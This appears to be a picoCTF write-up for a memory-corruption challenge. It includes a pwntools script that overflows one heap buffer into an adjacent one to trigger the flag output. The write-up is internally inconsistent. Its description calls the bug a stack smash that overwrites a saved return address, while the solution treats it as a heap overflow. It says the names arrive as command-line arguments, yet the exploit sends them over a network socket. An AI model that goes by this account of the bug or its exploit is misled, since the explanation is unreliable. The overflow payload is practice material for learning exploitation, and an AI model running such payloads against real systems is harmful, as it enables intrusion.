Description
A seemingly harmless two-argument program hides a classic stack smash. Download `vuln` and `vuln.c`, then overwrite the saved return address to reach the flag routine.
Setup
Download vuln and its source code.
Read the source to understand how the two name arguments are handled.
cat vuln.c
chmod +x vuln
Solution
- Step 1Understand the heap layoutThe program takes two names as input and malloc()s a buffer for each. The buffers are adjacent on the heap. The first buffer is undersized relative to the input it accepts -- overflowing it overwrites the contents of the second adjacent malloc() buffer.cat vuln.cchecksec --file=./vuln./vuln AAAA BBBB # normal execution
- Step 2Determine the overflow sizeThe first buffer's size tells you exactly how many bytes are needed before you start overwriting the second buffer. Read vuln.c to find the allocation sizes.# Find the two malloc() calls and their sizes:grep malloc vuln.c# The second buffer follows immediately after the first in heap memory
- Step 3Overflow the first buffer into the second buffer's contentsCraft a first argument that overflows into the second buffer. The program then uses the overwritten second buffer's value -- which you now control -- to print the flag or perform a privileged action.python3 << 'EOF' from pwn import * p = remote("<HOST>", <PORT_FROM_INSTANCE>) # First name: overflow to fill first buffer + overflow into second buffer # The exact size depends on vuln.c allocation analysis first_name = b"A" * 64 + b"WIN " # overflow into second buffer's content p.sendlineafter(b"name: ", first_name) p.sendlineafter(b"name: ", b"ignored") # second input doesn't matter print(p.recvall()) EOF
Flag
picoCTF{h34p_h4v0c_...}
The two malloc() buffers are adjacent on the heap. Overflowing the first name buffer overwrites the contents of the second buffer. The program then uses the second buffer's now-controlled value, triggering the flag output.